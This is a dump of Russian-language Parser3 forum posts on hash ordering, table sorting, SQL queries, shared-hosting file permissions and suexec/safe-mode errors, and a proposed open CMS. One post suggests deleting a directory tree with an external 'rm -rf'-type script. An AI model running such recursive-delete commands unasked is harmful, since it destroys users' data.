"12230","просьба не бить сильно, если я ошибусь, но по-моему у множеств нет операций сравнения(учебника нет под рукой) - у них есть, выборка, проекция, соединение, объединение и т.д. а сравнения нет, есть эквивалентность множеств, но это совсем не то же самое что и равенство."
"12231","исправьте синтаксические ошибки, и будет лучше:\
\
проверка на существование метода:\
[code]\
^if($lala is junction){…}\
[/code]\
\
компиляция в класс MAIN, из контекста произвольного класса:\
[code]\
^process[$MAIN:CLASS]{…}\
[/code]"
"12232","Мы говорим о разных вещах ;-) Я говорил не о [i]множествах[/i], а об [i]элементах множества[/i]. Для них можно определить операцию сравнения почти всегда (например, комплексные числа сравнить никак нельзя ;-)). В общем случае множества сравнивать действительно нельзя, хотя [b]мы можем сами ввести операцию сравнения[/b] сказав, например, что одно множество больше другого, если в нем больше элементов."
"12233","и не стоит делать такие допущения - одно множество больше другого, если в нем больше элементов. Это опасно"
"12234","Ну с table.sort, насколько я понял из форума возникают проблемы потому что никто (и я в том числе) не может понять, что это за [i]произвольная функция, по текущему значению которой принимается\
решение о положении строки в отсортированной таблице[/i] (из документации). Почему нельзя было сделать как MySQL, просто перечисление столбцов и asc или desc? \
\
\
Простите, я еще не очень хорошо знаю парсер, что значит [b]$.deep1(1)[/b]?"
"12236","Во-первых, я это просто для примера написал. Можно и какие-то другие критерии придумать. \
Во-вторых, что же тут опасного? \
И в-третьих, по моему огород городить, это как раз делать [url=\"http://parser.ru/forum/?id=12184\"]так[/url]. Была бы сортировка хеша и вопроса бы не встало."
"12237","читайте документацию внимательнее, там рассказывают, примеры приводят.\
боюсь, я лучше чем там не смогу объяснить.\
\
несчёт того, что «никто не может понять»: не стоит обобщать."
"12238","похоже назрела необходимость вам привести пример вашего кода, сразу будет ясно, где вы ошиблись в проектировании."
"12239","на улучшение того, что часто улучшить некуда, а задача/заказчик требует, а для выполнения задачи нужне 30M на запрос?"
"12240","Мне нужно сделать раздел сайта, где люди могут оставлять объявления о вакансиях или резюме. Записи хранятся в базе данных. Понятно, что вместо полей, значения которых (текст) заранее определены (специальность, пол, опыт работы и т. д.), в базе лучше хранить их числовые коды. Чтобы сопоставить код значению я использовал хеш. Например, часть хеша для городов выглядит так: \
\
[code]\
$job_data[\
	$.city[\
		$.0[Не важно]\
		$.1[Москва]\
		$.2[Санкт-Петербург]\
		$.3[Новосибирск]\
		$.4[Агапово]\
		$.5[Алматы]\
		$.6[Архангельск]\
		$.7[Бабруйск]\
		$.8[Бийск]\
		$.9[Братск]\
		$.10[Великий Новгород]\
		$.11[Вильнус]\
		$.12[Владивосток]\
		$.13[Волгоград]\
		$.14[Воронеж]\
		$.15[Днепропетровск]\
		$.16[Екатеринбург]\
		$.17[Зеленоград]\
		$.18[Иваново]\
		$.19[Ижевск]\
		$.20[Иркутск]\
		$.21[Казань]\
		$.22[Калининград]\
		$.23[Кемерово]\
		$.24[Киев]\
		$.25[Кировоград]\
		$.26[Кишинев]\
		$.27[Кострома]\
		$.28[Краснодар]\
		$.29[Лиепая]\
		$.30[Майкоп]\
		$.31[Минск]\
		$.32[Нижний Новгород]\
		$.33[Новоуральск]\
		$.34[Обнинск]\
		$.35[Одесса]\
		$.36[Оренбург]\
		$.37[Пермь]\
		$.38[Петрозаводск]\
		$.39[Петропавловск-Камчатский]\
		$.40[Рига]\
		$.41[Ровно]\
		$.42[Ростов-на-Дону]\
		$.43[Самара]\
		$.44[Саранск]\
		$.45[Саратов]\
		$.46[Старая Русса]\
		$.47[Сургут]\
		$.48[Сызрань]\
		$.49[Тамбов]\
		$.50[Ташкент]\
		$.51[Тверь]\
		$.52[Тольятти]\
		$.53[Томск]\
		$.54[Тула]\
		$.55[Тюмень]\
		$.56[Ульяновск]\
		$.57[Уфа]\
		$.58[Хабаровск]\
		$.59[Харьков]\
		$.60[Челябинск]\
		$.61[Ярославль]\
	]\
]\
[/code]\
\
В выводе формы пишу:\
\
[code]\
<select name=\"city\">\
^job_data.city.foreach[key;value]{\
	<option value=$key^if($key == 0){ selected}>$value\
}\
</option></select>\
[/code]\
\
На выходе получается:\
\
[code]\
<select name=\"city\">\
<option value=55>Тюмень\
<option value=20>Иркутск\
<option value=5>Алматы\
<option value=56>Ульяновск\
<option value=21>Казань\
<option value=6>Архангельск\
<option value=57>Уфа\
<option value=22>Калининград\
<option value=7>Бабруйск\
<option value=58>Хабаровск\
<option value=23>Кемерово\
<option value=8>Бийск\
<option value=59>Харьков\
<option value=24>Киев\
<option value=9>Братск\
<option value=25>Кировоград\
<option value=26>Кишинев\
<option value=27>Кострома\
<option value=28>Краснодар\
<option value=29>Лиепая\
<option value=60>Челябинск\
<option value=61>Ярославль\
<option value=30>Майкоп\
<option value=31>Минск\
<option value=32>Нижний Новгород\
<option value=33>Новоуральск\
<option value=34>Обнинск\
<option value=35>Одесса\
<option value=36>Оренбург\
<option value=37>Пермь\
<option value=38>Петрозаводск\
<option value=39>Петропавловск-Камчатский\
<option value=40>Рига\
<option value=41>Ровно\
<option value=42>Ростов-на-Дону\
<option value=43>Самара\
<option value=44>Саранск\
<option value=45>Саратов\
<option value=10>Великий Новгород\
<option value=46>Старая Русса\
<option value=11>Вильнус\
<option value=47>Сургут\
<option value=12>Владивосток\
<option value=48>Сызрань\
<option value=13>Волгоград\
<option value=49>Тамбов\
<option value=14>Воронеж\
<option value=15>Днепропетровск\
<option value=16>Екатеринбург\
<option value=17>Зеленоград\
<option value=18>Иваново\
<option value=19>Ижевск\
<option value=50>Ташкент\
<option value=0 selected>Не важно\
<option value=51>Тверь\
<option value=1>Москва\
<option value=52>Тольятти\
<option value=2>Санкт-Петербург\
<option value=53>Томск\
<option value=3>Новосибирск\
<option value=54>Тула\
<option value=4>Агапово\
</option></select>\
[/code]"
"12242","так как то, что вы не можете сделать с помощью хэша, с легкостью реализуется методами класса table (^table.sort{}).\
\
соберите таблицу из городов, отсортируйте и используйте на здоровье! В качестве числового идентификатора можете сообразить поле, или ^table.line[] - как вам больше нравится.\
\
Не могу понять, что вас натолкнуло решать задачу через хэш.\
\
Есть подозрение, что вы не совсем понимаете цели использования хеша."
"12243","просто я в последний момент передумал писать ответ на ваше сообщение, и по запарке нажал-таки кнопку 'submit'.\
\
А то, что я хотел сказать, так это - вам шашечки, или ехать? Разве это плохо, что быстро ищет? Радуйтесь, и не ищите подвоха - MySQL рулит."
"12244","Возможно, Вы правы. Мне, правда, казалось, что хеш как раз для таких вещей и нужен.\
\
В любом случае мне кажется не очень правильным, что получается такая фигня при выводе."
"12245","и Парсер не стыдясь жрал все больше и больше.\
\
У меня как-то была такая задача : \
нужно было сгенерить 400000 разных паролей состоящих только из цифр. Причем составление должно было иметь вид [b]random 3-ех значное число в промежутке до 1000[/b][b]random 6-и значное число в промежутке до 99000[/b][b]random 3-ех значное число в промежутке до 1000[/b]. После генерации данной конструкции надо было еще 6-и значный промежуток увеличивать на 1 и записывать все это в БД. И решить надо было все за один request, т.к. нужна была уникальность паролей.\
\
Вот тогда моя система была в шоке, MySQL нервничал неимоверно, а Парсер с приспокойным видом поедал наш RAM. Что самое удивительное - ни система, ни Апач мой Парсер не прибивал, а давали закончить работу. Память стояла на системном контроле, и росла с потребностью. Перевалила за 960МБ, дальше а наблюдать не стал.\
\
Все это жужжало на WinXP/Apache 2.0.44/MySQL 3.23.47-nt/Parser 3.0.0007 - возможно поэтому мой Парсер не умирал."
"12246","будет работать обычный order by что_скажете.\
\
разумеется, вы использовали hash не по назначению, и ожидаете от него странного.\
\
причём упорно игнорируете соображения миши, что «правильный порядок» вещь спорная, и уж совсем игнорируете вопрос эффективности: это [b]эффективно[/b] перебирать hash именно в таком порядке. когда hash используют по-назначению это сразу становится важным, чтобы foreach сработал как можно быстрее, и, когда используют по назначению, порядок перебора попросту [b]безразличен[/b]."
"12247","потому что вроде как в ней нельзя задать ограничение на размер памяти процесса и он будет есть все что можно\
\
И второе, - такая задача(генерация такого количества паролей) явно придумана извращенцем, который не совсем понимает что он делает."
"12248","и делаю то, что от меня требуют.\
\
Эти пароли нужны были одной фирме - они готовили что-то типа доступа к ресурсам интернет. Пароли собирались распечатать на пластиковые карточки и продавать. Что-то типа этого, я сильно не вникал. Мне заказали - я сделал. Сумму отгреб существенную. Это отбивает все желание задумываться об умственных способностях, сексуальной ориентации и душевного состояния клиента.\
\
Вы так не считаете?..:)\
\
А за толкование бессмертия Парсера - спасибо."
"12249","Агат я не наехал, просто мнение высказал. Самое главное чтобы клиент был доволен и исполнителю не надо было сильно мучаться."
"12250","Короче говоря, я не понимаю правильного назначения хеша ;-) И уж совсем не понимаю в каком случае при использовании foreach может быть неважен порядок.\
\
В любом случае, спасибо, что потратили свое время на меня."
"12251","cgi скрипт работает от: nobody.nogroup\
на FTP файлы кладутся от: ftp.ftp (сказал админ)\
я захожу на FTP как \"amatveev\".\
Насчёт группы, моя программа \"CuteFTP\" вообще ничего не говорит :-(\
\
Надеюсь, это те данные которые были необходимы.\
Спасибо."
"12252","Посмотрите perl или даже тот-же javascript - тут сделано почти аналогично.\
\
Я представляю, как вы с asc/desc сортировали-бы список файлов в каталоге по дате изменения файлов или по содержимому первой строки в файле. А сейчас - это возможно, и то, что для упорядочения элементов хеша при выводе (мне, например, [b]очень редко[/b] бывает нужно содержимое хеша получать в определенном прядке) требуется приложить немного усилий и явно показать что-же мы хотим - по моему это очень неплохая цена."
"12253","самое интересное и не говорите, пользователи cuteftp, пособите: как в нём увидеть группу файлов на удалённом ftp?"
"12254","...хранить данные, порядок которых не важен, но с которыми часто требуется выполнять проверки вхождения в них каких-либо элементов, или часто получать доступ к его элементам по ключу.\
\
Причем если эти проверки требуется осуществлять изредка - то по моему лучше использовать таблицы, особенно учитывая тот факт, что из таблицы ты можем получить хеш, где ключами будут содержимое любого столбца таблицы - как два байта переслать :)\
\
"
"12255","и никак иначе...\
\
Поэтому даже не глянул на то, как названы столбцы у таблицы news и написал решение для моего типового случая."
"12256","К счастью на CuteFTP свет клином не сошелся.\
\
SmartFTP говорит: User: amatveev Group: 1000 (chmod: 775)"
"12257","интересно, и как ваш хостер предполагает, что ваш скрипт будет писать данные на диск?\
\
он что, предлагает вам некоторые каталоги делать world writable, или что?"
"12259","У нас хостеры советуют ставить каталоги для cgi в chmod 777.\
(не уверен, что отвечаю по теме но тем не менее)\
\
A c PHP, как я понимаю таких проблем нет, т.к. он один для всех хостящихся и наверное работает с привилегиям root? Правильно?\
\
Что-же делать? Мне Parser нравится больше чем PHP :-("
"12260","как я понял в поле news_id все хранится через разделитель? или может фичи есть на этот счет в MySQL?"
"12261","там, в каждой строке, хранится идентификатор [b]только одной новости[/b]. Нет, все-таки почитайте книжку, а то вы таких дров наломаете."
"12262","при том, что все скрипты всех серверов работают от одного имени,\
и все cgi-bin каталоги имеют права 777,\
[очевидно, отсутствует suexec или хотя бы chrooting]\
получается, что любой cgi скрипт может записать/стереть данные из любого cgi-bin [b]другого[/b] хостящегося там человека.\
\
такое безобразие хоть как то допустимо, только когда [b]все[/b] проекты на этой машине ваши.\
если это не так, рекомендую бежать.\
\
про root, это вы, наверное, шутите :)"
"12263","а можно пример? Особенно, foreach, где порядок неважен?"
"12264","У нас (в Германии) к cgi на c++ относятся очень недоброжелательно.\
Для нормальной поддержки C++ или Java нужно брать выделенный сервер. А у меня для этого недостаточно познаний в области защиты от всяких там хакеров. Это будет вряд-ли надёжней чем Parser без Safe Mode.\
Впрочем переговоры с хостером продолжаются :-)"
"12265","Возможно, Вы правы. Тогда надо было в документации по-человечески написать, что же там у ^table.sort'а в аргументе, что за функция и как этим пользоваться. Там в примере-то обычная сортировка по столбцам..."
"12266","мы специально держали примеры простыми, чтобы не усложнять освоение.\
\
в тексте написано «произвольная функция», в этом недостаёт человечности?"
"12267","хостеров по всему миру полно, не нравится там можно в Россию :) в Штаты и т.д. или только на Германии свет клином сошелся?"
"12268","вам нужна хотябы минимальная защищённость от шаловливых рук соседей по хостингу.\
\
или уж если вам вкупе с вашим хостером с колокольни на все эти защищённости, и вас устраивает текущая ситуация с незащищённостью, и всё, что вам нужно, это просто работоспособность parser, попросите его самое простое:\
\
«пожалуйста, поправьте группу, от имени я работаю по ftp, на nogroup (ту же группу, от имени которой работают мои cgi скрипты)»"
"12269","Так привык к ссылке на слове форум вверху по середине, но что делать его убрали, буду нажимать в навигации!"
"12270","имеем две таблицы, \"news\", в которой храним все новости, и \"comments\", в которую записываем комментарии ко всем новостям вперемешку. Структура таблицы \"comments\" похожа на структуру гостевой из вашего [url=\"http://www.parser.ru/forum/?id=12200\"]предыдущего поста[/url], с одним исключением - добавили идентификатор \"news_id\", он будет указывать к какой именно новости написан данный комментарий, и должен быть равен уникальному идентификатору этой новости.\
\
Если предположить что уид новости мы храним в переменной [i]$news_uid[/i], то запрос на выборку нужных нам комментариев может выглядеть следующим образом:\
[code]SELECT autor, date, email, body FROM comments WHERE news_id = ${news_uid} ORDER BY date[/code]"
"12271","Там написано: [i]Функция сортировки – произвольная функция, по текущему значению которой принимается решение о положении строки в отсортированной таблице.[/i]\
\
Непонятно [b]как[/b] принимается это решение? Что за функция?  x^2, log, что будет если их написать? Может, это глупо, но я не понимаю."
"12272","Определение 1НФ (1-й нормальной формы): Значение любого атрибута любого кортежа должно быть [b]атомарным[/b] (т.е. никаких значений через запятую).\
\
Атрибут это столбец, кортеж это строка. Если так не делать то все дальшенйшие дела с БД превращаются в ношение воды решетом."
"12273","столбец таблицы например и пр. примеры же показывают что это такое."
"12277","есть \
<body>\
....\
<br/>\
...\
</body>\
\
хочу \
<xsl:copy-of select=\"body\" />\
\
получить\
\
...\
<br/>\
...\
\
но без <body>.\
кто поможет ? заранее thnx.\
\
"
"12278","asc: решение принимается так, что строки, значение функции для которых больше, помещаются ниже в результате сортировки.\
\
что непонятно?"
"12279","-rwxrwxrwx 1 ftp 1000 3072 Jan 27 11:07 auto.p \
drwxrwxrwx 2 ftp 1000 4096 Jan 27 11:07 charsets \
drwxrwxrwx 2 ftp 1000 4096 Jan 27 13:30 lib \
-rwxrwxr-x 1 ftp 1000 1293220 Jan 27 13:25 parser3.cgi\
\
Это мне мой хостер прислал, может это что-то прояснит.\
Насчёт смены user/group пока молчит :-)\
\
Во всяком случае большое спасибо, за ваше время и старание."
"12280","Да, это пожалуй идея.\
\
Посмотрел предложения на 350mb - много возможностей: у нас cron jobs ни у одного хостера не получишь.\
Единственное \"но\" - наши страницы целятся больше на Германию/Америку: как у вас обстоит дело со скоростью?"
"12281","теперь уже ссылка работает, но только на \"внутренних\" страницах. На главной форума просто текст.\
Я раньше пользовался ею как reload форума, теперь приходится жать F5, и, как обычно, мой браузер тащит мне кэш.\
Не стоит у меня на Ctrl+F5 - хочу ссылку назад!\
\
Даешь!?"
"12282","Давайте скажем дружно: \"ССылочка появись!\""
"12284",">«пожалуйста, поправьте группу, от имени я работаю по ftp, на\
> nogroup (ту же группу, от имени которой работают мои cgi скрипты)»\
\
Хостер ответил, что в таком случае у меня будут права запускать ЛЮБЫЕ скрипты у ВСЕХ хостящихся! Нет, ну это нормально?\
Я конечно не профессионал и возможно не понимаю всех тонкостей хостинга - но по-моему это не правильно.\
\
Как Вы считаете, насколько реально осуществить выделенный сервер своими силами? В смысле настройки / защиты? Может кто поделится полезными линками на эту тему?"
"12285","я его (foreach) использую в основном только для вывода debug информации.\
\
мои применения хешам - структуры для лукапов.\
\
мои применения foreach:\
- для формирования запросов к БД: у меня есть хеш с id-шками для лукапов, и в какой-то момент мне нужно получить более подробную информацию об объектов с этими id-шками: object_id IN (^myhash.foreach[key;val]{$key}[,]) (самое используемое мной применение хешей)\
\
- dom: перебор атрибутов элемента: порядом совершенно не важен (см. /_test.html)\
\
И в большинстве случаев [b]у меня[/b] значения в хешах табличные.\
\
Пожалуй и все.\
\
Возможно, что если-бы хеши имели-бы упорядоченность (типа php-шных ассоциативных массивов) то я их использовал бы и в других местах (там, где сейчас использую таблицы)"
"12286","Хм... понятно. У меня просто пока что таких задач не вставало ;-) или я об этом просто не думал. Спасибо."
"12287","Вот в примерах там как раз и есть столбцы! А что еще может быть? Есть таблица. Она сортируется по столбцам. Как еще-то?"
"12288","Ага. То есть это [i]функции строк[/i]? Тогда понятно... В мануале об этом ни слова..."
"12289","Господа!\
\
Версия parser3_3_0_0007_sp1\
После установке, и запуска файла _test.html вылезает ошибка. \
---\
Parser3.exe - не удается найти компонент\
Приложению не удалось запуститься, поскольку libglib-1.3-11.ddll не \
\
был найден.\
---\
В чем проблема, а?!\
\
Спасибо. Сергей"
"12290","есть база в ней хранится каталог товаров, как вытащить три случайных товара, т.е. три строчки."
"12291","Он дорогой , зато дают Virtual FreeBSD,\
полный доступ к httpd.conf etc.\
Чтоб рекламу не устраивать адрес не пишу - если интересно, в мыло ..."
"12296","Проскакивала тут идея создания открытой CMS на базе Парсера?"
"12297","Поставила winXP -- начались проблемы с parser2.\
Пишет -- parser2.exe обнаружена ошибка. Приложение будет закрыто.\
Parser2 работает под XP?\
\
"
"12298","1) вытащить нужную группу товаров и выбрать рандомом 3 случайных строки из таблицы\
2) сделать цикл, внутри: выборка одного элемента из базы со случайным номером\
\
пока это пришло в голову, хотя вроде тут не телепаты(какая база-то Мускуль, Оракл или что?) там в доках всегда много интересного ;)"
"12299","Немного недоразбирался :(\
\
Как вывести изображение\
\
Допустим есть такие строчки.\
$fon[^image::load[/img/foncounter.gif]]\
$fon.line-style[***   ] \
$fon.line-width(2) \
^fon.line(0;0;150;30;0xFFFFFF) \
\
Как типерь вывести изображение? есил пишешь\
^fon.html[ \
  $.border[0] \
   $.alt[Это я в молодости…] \
] \
Он вы выводит /img/foncounter.gif без линии\
а если пишешь\
\
$response:body[^fon.gif[]] \
\
То он генерит новую страницу с /img/foncounter.gif но уже с белой линией фсе правльно....\
\
Но как мне вывести изображение на текущей html странице?:(\
"
"12300","[quote]\
Функция сортировки – произвольная функция, по текущему значению которой принимается решение о положении [b]строки[/b] в отсортированной таблице.\
[/quote]\
\
http://parser.ru/docs/lang/tablesort.htm"
"12301","1. написать метод, рекурсивно обходящий дерево каталогов, начиная с заданого и удаляющий файлы (пустые директории парсер сам поудаляет)\
\
2. запустить внешний скрипт типа rm -rf (только не кладите его в cgi-bin директорию, чтобы его нельзя было запустить прямиком из броузера) ;)"
"12302","ну а то, что вы сейчас можете [b]стереть[/b] все скрипты всех хостящихся, его, выходит, волнует мало? ;)\
\
я допускаю, что хостер придумал всё-таки какую-то эзотерическую схему защиты, однако по его советам поставить права на cgi-bin 777 на это не похоже.\
\
если вы не найдёте более защищённого hoster'а, и по какой-то причине захотите остаться на этом, то:\
\
1. если у вас есть shell доступ (ssh/telnet) и вам не нужен xml, вы можете собрать parser сами, без xml это тривиально:\
выкачиваете и распаковываете исходники, после чего:\
[code]\
./configure --prefix=/путь/в/ваш/cgi-bin\
make\
make install\
[/code]\
\
в cgi-bin вы получите каталоги\
bin\
   parser3\
etc\
   кодировки символов\
lib\
   сюда попадут sql драйвера, которые собираются точно такой же последовательностью действий.\
\
2. если доступа нет, сообщите, соберём, как выдастся время"
"12303","и ждала, когда кто-нибудь возьмётся.\
мы с радостью поддержим любое полезное начинание.\
\
как накопится более одного её автора, готовы поднять cvs для удобства всех разработчиков."
"12304","давайте пойдём с этим в форум по parser2"
"12305","http://parser.ru/forum/?terms=ORDER+BY+RAND&searchInMessage=1&author=&doSearch=%CD%E0%E9%F2%E8"
"12306","Нет чтоб ответить"
"12307","сначала сохраните файл в gif формате.\
и отдельным куском сделайте measure[его] и .html\
\
пожалуй, я вызов html без measure вообще запрещу…"
"12309","я ответил. в соответствующем форуме.\
\
вот вам link, чтобы сэкономить ваше время: \
http://parser2.parser.ru/forum/message_9888.html"
"12310","Утро доброе, Александр :-)\
\
Блин, было бы я молодой - непременно влез бы в это дело с головой. Тема очень благодарная...\
\
Идею навеяла EzPublish (http://www.ez.no/) - система очень хорошая (на мой взгляд не профессионала), но какая-то на редкость стабильно не устойчивая :) Тоже открытая, тоже на базе свободно распространяемого языка ПХП, с мощным сервером поддержки, форумами на нем и тысячами тестеров и пользователей по всему миру.\
\
Давайте день-другой подождем мнения и идей на этот счет от местной аудитории..."
"12311","Люди.\
Делаю такую вещь.\
При наводе на картинку в другом месте должен появляться текст. Но надо чтобы все было на белом фоне.\
Как сдесь можно поступить?\
Например:\
1) innerText в опере почему-то не пашет.\
2) Взял текстовое поле формы, но OP6 не умеет накладывать на них стили.\
\
Есть соображения, как решить проблему?"
"12312","Вот самое заметное отличие Парсера от прочих популярных языков — то, что он является макроязыком, тем не менее в Imprimatur'e вы идеей встраивания кода в текст непосредственно уже не пользуетесь, а изобрели гораздо более высокоуровневый механизм. Значит встроенная система себя не оправдала ?"
"12313","JavaScript"
"12314","делаешь слои ставишь по умолчанию их не видимыми, при наведение на картинку меняешь у слоя свойство и он появляется\
для справки http://www.dhtml.ru/howto/hiding/"
"12316","А чем принципиально отличается страничка на Парсере от странички, например, на пхп? Отсутствием операторов print()? И что мешает на Парсере разложить шаблоны (*.tpl, контент (SQL) и сами скрипты (*.html) выводящие результат, по разным корзинкам?"
"12318","Берём Oracle.\
говорим ему:\
select chr(65) from dual\
получаем \"А\"\
\
берём парсер.\
говорим ему:\
<h1>^#65^</h1>\
получаем \"е\"\
\
\
фтыкаем.... :-)\
откуда берётся такая разница?"
"12319","Прошу прощения, hex. Понял."
"12320","а Вы её послали :) По-моему, лучше вообще не отвечать, нежели чем посылать."
"12321","Уважаемый MetaWizard имел ввиду XML, т.е. парсером формируется только XML, который затем в HTML превращается через XSLT преобразование."
"12322","вот сидел вчера читал почту из фидо и тоже CMS`ки так там просто тычут пальцем - база+скриптовый язык+структура в XML\
не думаю что сам Имприматур сильно далек от этой концепции.\
\
вот с сессии приеду буду пробовать свою писать(надо же когда-то начать XML нормально использовать ;) )"
"12323","я блюду чистоту форума: обсуждать здесь проблемы parser2 нельзя.\
\
мне утром одна на ауди хотела въехать в бок, мне что, галантно позволить это? хорошо сработал гудок."
"12324","есть ощущение, что вы манипулировали этим каталогом после установки, хочется убедиться, что вы этого не делали.\
\
[code]\
cd \\ваш\\каталог\\cgi-bin\
dir /s > dir.txt\
[/code]"
"12325","если вопрос глупый, попрошу придержать эмоции - будьте сдержанее..:)\
\
Значит, у меня такой trouble :\
как настольным справочником по Парсеру я пользуюсь предоставленным .chm файлом - очень удобно, ну и все такое. У меня стоит турецкая система (WinXP), но русифицированые проги у меня работают без проблем(с кодировкой). Файл хэлпа тоже работал, до вчерашнего дня. Вчера в нем, в дереве заголовков (окошко слева) поменялся шрифт на что-то типа Verdana. Я не придал этому никакого значения. А вот сегодня весь текст(кроме латинкого) показывается кубиками(или квадратиками). Ясное дело, что тут проблема с кодировкой - не распознается (я думал).\
\
НО! Дело в том, что контекст заголовков (правое окошко) работает отлично! Все на русском, в нормальной кодировке! Это самое интересное - как правое окошко не понимает, а левое - понимает кодировку? Что это за фокус такой?\
\
Никто, ничего не посоветует?\
\
P.S. Думал, может у меня мой файл накрылся - скачал заново - то же самое."
"12326","$rep[^table::create{$delimiter}	${sep}] \
$s[^s.replace[$rep]]\
${s}\
\
никакого эффекта. переменные delimiter и sep определены. delimiter ТОЧНО неоднократно встречается в строке.\
\
подскажите, в чём проблема?"
"12327","таблицы создавать?\
Попробуйте так :\
[code]\
$rep[^table::create{$delimiter        $sep}] \
$s[^s.replace[$rep]]\
$s\
[/code]"
"12328","$rep[^table::create{\
$delimiter} ${sep}]\
$s[^s.replace[$rep]]\
${s}\
\
а вот так работает.\
спасибо за внимание :-)"
"12329","[code]\
$rep[^table::create[nameless]{$delimiter        $sep}] \
$s[^s.replace[$rep]]\
$s\
[/code]"
"12330","nameless - ок, но вот только на результате это никак не сказалось: как работало, так и работает.\
в чём смысл?"
"12331","в правом окне всё просто, шрифт и кодировка задаются в html.\
с левым всегда сложнее.\
где задаётся его шрифт, я не знаю.\
если найдёте в описании help file project в chm формате нужные заклинания, я добавлю их в свой."
"12332","то, что ты написал тут: http://parser.ru/forum/?id=12328 с моей точки зрения работать не может по определению (неверный синтаксис при создании таблицы).\
\
кроме того, от того, что ты написал в $delimiter и $sep тоже зависит, будет-ли работать подобные конструкции или нет (см. фак)\
"
"12333","$sub[a]\
$sys[^#1F]\
$delimiter[${sys}${sub}]\
$sep[<br>]\
\
$rep[^table::create{\
${delimiter}	${sep}}] \
\
$s[^s.replace[$rep]]\
${s}\
\
вот прям так и написано.\
строка s - много словосочетаний разделённых последовательностью \"^#1Fa\", соответственно это и содержится в delimiter.\
в sep лежит <br>\
\
вот зуб даю, что работает! всё чудесатее и чудесатее... \
только вот возникла ещё одна проблема: запутался с taint/untaint\
после того, как этот код отработает вижу на экране строку, где всё, что надо, заменено на <br>. как сделать, чтобы <br> сработал?"
"12334","Хостер предлагает заменить User/Group parser3.cgi на nobody.nogroup.\
\
Это что-то изменит?\
Или только в случае если и процесс и файл parser3.cgi будет принадлежать nobody.nogroup.\
А как насчёт index.html? Он тоже должен принадлежать nobody.nogroup?"
"12335","два дня назад файл работал без проблем! После я устанавливал некоторые проги, может они hh.exe'шные настройки где изменили? Я уже весь хелп Windows'ский перерыл, весь реестр - никакого намека на charset или ему подобное... Даже не знаю, что делать. Пока пользуюсь .pdf версией, но этож неудобно как!\
\
Может мне hh.exe переписать?\
\
Буду искать в нете - найду, сообщу."
"12336","У любой функции есть [i]аргумент[/i] и есть [i]значение[/i]. В документации не сказано, что аргументом функции являются строки. Там сказано: [b]произвольная функция[/b]. Видимо у меня искаженное восприятие... "
"12337","...не такой, как [url=\"http://parser.ru/forum/?id=12328\"]тут[/url] (там не хватает пары скобочек).\
\
Если ты напишешь так:\
[code]\
$rep[^table::create[nameless]{${delimiter} $sep}]\
[/code]\
- то тоже должно работать при приведенных тобой значениях в $delimiter и $sep, хотя я все-таки с подобными значениями написал на всякий случай ^taint[$delimiter] вместо ${delimiter}\
\
если код такой, как ты привел в ЭТОМ сообщении, и у тебя больше нету taint/untaint - то НЕ МОЖЕТ появиться на странице '<br />' в виде строки.\
если где-то они есть - то я не знаю что посоветовать, т.к. ты не сообщил что-же там есть еще."
"12339","Начни - народ подтянется :-)"
"12341","т.к. parser не читает файл parser3.cgi, он читает файл index.html & co.\
\
так что если менять, то только пользователя или группу файлов вашего сайта.\
\
собственно, это я и предложил изначально: попросить его, чтобы по ftp вы работали от группы nobody. \
\
мы помним, что ответил ваш провайдер."
"12343","Расскажите по подробнее об установке Парсера на Windows XP и 98. Желательно очень подробно и для рускоязычых версиях. "
"12344","Я много раз пробовал в OP6 работать со стилевым своюством display, но он упрямо нехочет его прятать, а позицианирующие слои я использовать немогу у меня тянется дизайн по размеру браузера.\
Я думал насчес слоев тоже, но никак не придумал именно для Oper'ы\
\
Можно ли как нибудь заставить работат [code]innerText[/code] в OP6\
[i]прим: у меня стоит Java 1.2[/i]"
"12347","Прочел все, что нашел на форуме, задолбал админа!\
Помогите поставить!!!\
\
Ответ админа:\
вебсервер Apache работает в режиме suexec.\
скрипты выполняемые вами работают от вашего имени.\
так должно быть."
"12348","пожалуйста, приведите(copy/paste) получаемое вами сообщение.\
\
укажите пользователя и группу, от имени которой работает ваш скрит.\
укажите пользователя и группу, которому принадлежит файл, о котором вы получаете сообщение."
"12349","config(1): './auto.p' parser is in safe mode: reading files of foreign group and user disabled [recompile parser with --disable-safe-mode configure option], actual filename './auto.p'  type: parser.runtime\
\
пользователь везде один"
"12350","многие проги устанавливают HTML Help Update автоматом, даже когда их не просят. Скачай с сайта MS русскоязычный update и поставь его на систему - он затрёт неправильный hh.exe русскоязычным."
"12351","Можно использовать вашу птицу, которую у вас можно скачать, для публикации с соответствующем оформлением?"
"12352","проверьте, пожалуйста.\
если бы совпадали…\
\
[b]или[/b]\
cgiПроцесс.пользователь и autopФайл.пользователь\
[b]или[/b]\
cgiПроцесс.группа и autopФайл.группа\
\
…вы бы не получили сообщения."
"12353","файла hh.exe в нэте...\
\
Никто не хочет поделиться? У меня WinXP...\
\
Заранее спасибо."
"12355","По-моему, все уже \"за\". Давайте не будем убеждать друг друга \"за\
Советскую власть\" и приступим к обсуждению идеологии Parser-CMS (чего\
мы, собственно, достичь хотим и какими средствами).\
Глядишь, постепенно до ТЗ (техзадания) дойдем...\
\
Будет ли эта CMS просто набором модулей/блоков/объектов,\
\"стандартизированных\" по входным параметрам и по форме представления\
(визуализации)?\
(Навскидку: гостевая, форум, новости, календарь, опросы, статистика,\
авторизация, FAQ, информеры, поиск,  разнообразные меню и навигация\
вообще, блоки e-магазина, обработка и вывод текста, разного рода\
таблицы (прайс-листы, будь они неладны), галерея графики etc...,\
etc... плюс админский интерфейс к ним) \
\
Тогда можно начать с определения этих \"стандартов\" и обратиться \"к\
народу\" с предложением выложить готовые модули/библиотеки на всеобщее\
обозрение.\
\
Или мы замахиваемся на нечто более серьезное? Где вы, мастерА пАрсера?\
\
За наив просьба ногами не пинать, просто я гляжу на это дело больше\
глазами пользователя CMS, а не программера. Хотя на ^птичьем языке^\
пишу с удовольствием...\
\
PS. Кстати, как вам название Parsenal, уважаемые парсеристы?\
Можно еще \"космическое\" Parsek или просто parCMS :-)\
"
"12356","Простой insert  во чего выдвет!"
"12357","Господа!\
\
Работа с базой (из примеров), при добавлении новостей.\
\
Надпись \"Администрирование новостей\" и меню... присутсвует, а самих \
\
полей - нет ни одного. Даже намека на поля нет. С базой все ОК! \
\
проверял несколько раз.\
\
Так все работает. И календарь и меню, а вот с базой что-то не идет... \
\
Причем, нет никаких изменений что при включенной базе, что при \
\
выключенной. \
Где может быть проблема, а?\
\
Сергей"
"12359","Если укажешь, откуда птиц, кто нарисовал - велкам!"
"12360","Дело не в display а в visibility... Берешь div'чик, относительно/абсолютно его позиционаруешь, меняешь по event его visibility. И никаких проблем ;-)\
